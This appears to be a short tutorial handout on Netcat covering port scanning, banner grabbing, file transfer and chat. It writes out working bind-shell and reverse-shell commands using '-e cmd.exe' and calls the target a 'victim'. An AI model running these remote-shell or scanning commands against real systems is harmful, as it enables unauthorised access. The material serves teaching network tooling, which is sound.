- - by Mahesh Bheema

It is a tool that can read and write data across networks, using TCP or UDP protocol. It can be operated both in server and client mode.

Port scanning Banner Grabbing Backdoor File transfer Port Redirector Chatting and Many more…

Port scanning is the process of scanning a specified host and looking for ports that may be open or closed.

Here is the syntax to scan ports… # nc -v -z IP_Address port_range -v is for verbosity (without –v it wont display result in output)

Banner grabbing is a technique to determine the service running or application, version, operating system. Using the below syntax :

# nc -v IP_Address port when you hit enter, After a few seconds you

see some information about your IP address and port number, then write GET / HTTP/1.1 and hit enter and see some information about your victim.

File transfer/ chat works by setting up a server and client.

File Transfer nc –l –p 1234 > testfile.txt [Reciever’s end]

nc IP_Address 1234 < testfile.txt [Sender’s end]

type abc.jpeg | nc –lvp 8080

nc –l Server_IP 8080 > abc.jpeg

Chat Server nc –l –p 1234 [Reciever’s end]

nc IP_Address 1234 [Sender’s end]

Netcat has the ability of providing a remote shell as well. We can do this in two ways…

1. Bind Shell 2. Reverse Shell

We can take cmd.exe/shell and bind it to a local port, and anyone connecting to this port will be presented with command prompt belonging to that machine. This is known as a BIND SHELL. Syntax as follows…

# nc –l -p 1337 –e cmd.exe [Server] # nc –v Server_IP 1337 [Client]

Reverse Shell: Netcat can also "send" a shell to another

instance of a listening Netcat session. This is especially useful if the attacked machine is behind a firewall or otherwise nat'ed

# nc –lvp 1337 [Server] # nc –v Server_IP 1337 –e cmd.exe [Client]

It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me ☺

Special Thanks to CA Technologies for the venue.